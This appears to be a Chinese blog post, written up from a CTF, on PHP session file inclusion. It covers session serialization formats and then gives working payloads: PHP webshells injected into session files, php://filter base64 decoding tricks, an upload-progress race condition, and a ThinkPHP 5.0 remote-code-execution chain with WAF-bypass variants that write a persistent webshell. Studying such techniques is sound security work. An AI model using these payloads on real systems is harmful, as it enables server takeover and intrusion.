美文网首页
Session 文件包含漏洞

Session 文件包含漏洞

作者: CSeroad | 来源:发表于2021-11-29 15:05 被阅读0次

    前言

    在某次偶然打CTF时,遇到Session文件包含,但打了个一塌糊涂。借此来学习一下,更想知道在实战中会不会出现该漏洞。

    session 基础知识

    在看题目之前,先看一下session的基础知识点。

    • 存储
      可通过phpinfo查看session.save_path的值,即存储位置。
    image.png

    这里用的是phpstudy,常见的存储目录如下

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /xxx/tmp/sess_PHPSESSID
    /xxxx/tmp/sessions/sess_PHPSESSID
    
    • 命名
      那这个文件是怎么命名的呢?
      文件名格式为sess_[phpsessid]。而phpsessid来源于请求的cookie字段。
    image.png
    • session处理
      php在处理session的时候,主要是session.serialize_handler的配置。
    session.serialize_handler = php
    

    默认也是以这种方式处理的。
    如:

    <?php
    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;
    ?>
    

    POST传入username=cseroad

    image.png

    可以看到只对用户名的内容cseroad进行了序列化存储,即s:7:"cseroad"
    没有对变量名做任何处理,即username。
    两者以|分割,并以;结尾。
    还有一种处理方式。即session.serialize_handler=php_serialize,这种方式在php 5.5.4 之后被启用。可以在php.ini或者代码中进行设置。

    <?php
    ini_set('session.serialize_handler', 'php_serialize');    
    session_start();
    $username = $_POST['username'];
    $_SESSION["username"] = $username;
    ?>
    
    image.png

    a:1表示$_SESSION数组中有1个元素,花括号里面的内容即为传入POST参数经过序列化后的值。可以看到对整个session信息包括变量名、变量值都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储。

    还有一种处理方式是session.serialize_handler=php_binary
    直接抄用一实例

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler','php_binary');
    session_start();
    $_SESSION['sessionsessionsessionsessionsession'] = $_POST['username'];
    ?>
    

    序列化的结果为:

    #sessionsessionsessionsessionsessions:7:"cseroad";
    

    #为键名长度对应ASCII的值,35位长度对应的ASCII值为#,最后一位s指的是字符串类型;
    sessionsessionsessionsessionsessions为键名;
    s:7:"cseroad";为传入POST参数经过序列化后的值。
    还需要注意的一点的是以上代码都执行了session_start(),与此对应的配置项为session.auto_start,即当session.auto_start为1时,php就会自动初始化Session,不需要再配置session_start()。

    session文件包含

    基于以上基础,我们看一个文件包含的demo。

    <?php
    session_start();
    error_reporting(0);
    
    if (isset($_POST['username'])) {
        $_SESSION['username'] = $_POST['username'];
    }
    
    
    if (isset($_GET['file'])) {
        include($_GET['file']);
    }
    
    ?>
    

    将username赋值为一句话木马。

    image.png

    再利用file参数存在的文件包含漏洞包含该sessionid文件。 并执行系统命令。

    image.png

    这是非常理想的漏洞条件,实际中代码中会对用户的会话信息做一定的处理后才进行存储。

    • 如对用户session信息进行编码或加密
    • 如代码没有session_start()进行初始化操作,服务器也就无法生成session文件

    session Base64Encode

    比如这次CTF遇到的这道题目:

    <?php
    session_start();
    error_reporting(0);
    ?>
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
    <meta charset="utf-8" />
    <title></title>
    <meta name="keywords" content="" />
    <meta name="description" content="" />
    
    <form action="ctf.php" method="post">
    名字: <input type="text" name="name">
    <input type="submit" value="提交">
    </form>
    
    <?php 
    
    if (isset($_POST['name'])) {
        $_SESSION['name'] = base64_encode($_POST['name']);
    }
    
    if (!empty($_SESSION['name'])) {
        echo "<div class='res'><h3>success!<br><br>name:".base64_decode($_SESSION['name']);
    }
    
    
    if (isset($_GET['file'])) {
        include($_GET['file']);
    }
    
    ?>
    

    明显看到session存储的name值经过了base64的编码。
    此时我们再次尝试传入恶意代码时,文件包含也就无法利用了。

    image.png

    既然base64编码进去,那我们解码再包含不就可以了。php://filter这时候就可以用上了。

    file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_12d9k7c564prh3kvgbki673sc2
    
    image.png

    但是结果并没有执行。如果看一下报错信息,会发现是base64解码时出现了错误。
    这里就涉及到了base64解码的原理。
    在base64编码时,每4个字节一组组成一个24位的数据流,解码为3个字节。即4个字节每6组解码为3个字节每8组。如果遇到不属于base64编码表里的字符,会跳过这些字符,将合法的字符拼接后解码
    而sessionid的内容为:name|s:length(str):"base64_encode";
    那么这里面排除不在base64其中的字符,如:|::,再固定必须的字符长度。只需要让name|s:length(str):"base64_encode这一部分可以正常解码,也就是这部分数据长度需要满足4的整数倍。计算一下,最好name|s:length(str):"base64_encode 的长度为12。而name和s就有5个长度,str字符串程度最好是三位数,凑够偶数。这样就有8个字符长度。再在base64_encode取4个字符即可。

    故payload如下:

    name=qdwqdwqwqewssdqeqrcetmqftmqfaxtamqwqftmqm<?php eval($_POST['cseroad']);?>
    
    image.png

    再次文件包含

    POST /ctf.php?file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_111111111111 HTTP/1.1
    Host: 10.211.55.31
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    
    cseroad=system('whoami');
    
    image.png

    No session_start()

    当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()
    可借助Session Upload Progress,因为session.upload_progress.name 是用户自定义的,POST提交PHP_SESSION_UPLOAD_PROGRESS字段,只要上传包里带上这个键,PHP就会自动启用Session。同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。

    当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。

    编辑一个上传的数据包。

    <!doctype html>
    <html>
    <body>
    <form action="http://10.211.55.31/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
    </body>
    </html>
    

    并抓取该数据包,自定义修改cookie和设置PHP_SESSION_UPLOAD_PROGRESS的值。

    image.png

    同时构造文件包含的数据包,来包含自定义的sessionid。

    image.png

    利用条件竞争,先intruder上传的数据包,再intruder包含的数据包。

    image.png

    同时根目录生成了a.php。

    image.png

    这样看来,利用这个思路文件包含也可以getshell。

    拓展

    在某些时候session的文件包含同样具有实战意义,比如thinkphp rce命令在受到WAF防护的情况下,利用session文件包含就是一个不错的思路。
    思路来源于 https://xz.aliyun.com/t/6106
    在本地上采用thinkphp 5.0.15版本复现该漏洞,并重点放在session文件包含上。
    该rce漏洞是因为控制_method参数调用了任意的Request类的任意方法。
    payload如下:

    _method=__construct&method=get&filter[]=system&get[]=whoami
    

    当存在WAF的时候,利用session文件包含或许是绕过WAF的一种方式。修改payload为

    _method=__construct&method=get&filter[]=think\Session::set&get[]=<?php%20echo(`whoami`)?>
    

    这样payload就写进了sess_id文件。

    image.png

    再调用include包含session

    _method=__construct&method=get&filter[]=think\__include_file&get[]=..\..\..\tmp\tmp\sess_111111111&
    
    image.png

    当WAF拦截上面某些关键字的时候,还可以尝试base64编码。
    比如下面这个一句话木马

    <?php @$c=str_rot13('nffreg');$c($_REQUEST['cseroad']);?>
    

    base64编码后为

    PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+
    

    我们知道base64解码时容易无法解码,需要满足长度为4的倍数情况下才可以正常解码。所以think|a:5:{s:80:"xx该字符串之前需要添加两个字符。满足4的倍数,正好长度为12。
    payload为:

    _method=__construct&method=get&filter[]=think\Session::set&get[]=ab%50%44%39%77%61%48%41%67%51%43%52%6a%50%58%4e%30%63%6c%39%79%62%33%51%78%4d%79%67%6e%62%6d%5a%6d%63%6d%56%6e%4a%79%6b%37%4a%47%4d%6f%4a%46%39%53%52%56%46%56%52%56%4e%55%57%79%64%6a%63%32%56%79%62%32%46%6b%4a%31%30%70%4f%7a%38%2b
    

    再次利用php://filter包含。

    _method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/convert.base64-decode/resource=..\..\..\tmp\tmp\sess_333333&
    
    image.png

    这时候发挥的空间就大多了。
    可以再增加一层base64编码来绕过WAF

    <?php @$c=str_rot13('nffreg');$c(base64_decode($_REQUEST['cseroad']));?>
    

    这样在命令执行的时候传入base64编码之后的值即可。

    image.png

    还可以进一步使用strrev()函数反转伪协议字符串。payload 为

    _method=__construct&method=get&&filter[]=strrev&filter[]=think\__include_file&get[]=333333_sses\pmt\pmt\..\..\..=ecruoser/edoced-46esab.trevnoc/retlif//:php&
    

    也可以使用file_put_contents()函数,将一句话木马写进文件

    <?php file_put_contents('123.php',base64_decode("PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+"));?>
    

    这时候base64编码之后

    PD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4=
    

    这个长度已经是三位数了,计算序列化后base64编码前的字符串长度为11位,那么只需要补齐一位就可以了。

    image.png

    所以这时候的payload为

    _method=__construct&method=get&filter[]=think\Session::set&get[]=aPD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4%2b
    

    再次包含之后,123.php文件就成功写入了public目录下。

    image.png

    访问webshell正常执行。

    image.png

    总结

    通过一道CTF题目熟悉了session 文件包含的原理,也扩展到实战绕过WAF的一个利用场景。不得不说 https://www.anquanke.com/post/id/201177#h2-8 这篇文章写得太棒了。

    参考资料

    https://www.anquanke.com/post/id/201177#h2-8
    https://xz.aliyun.com/t/10534

    相关文章

      网友评论

          本文标题:Session 文件包含漏洞

          本文链接:https://www.haomeiwen.com/subject/otaftrtx.html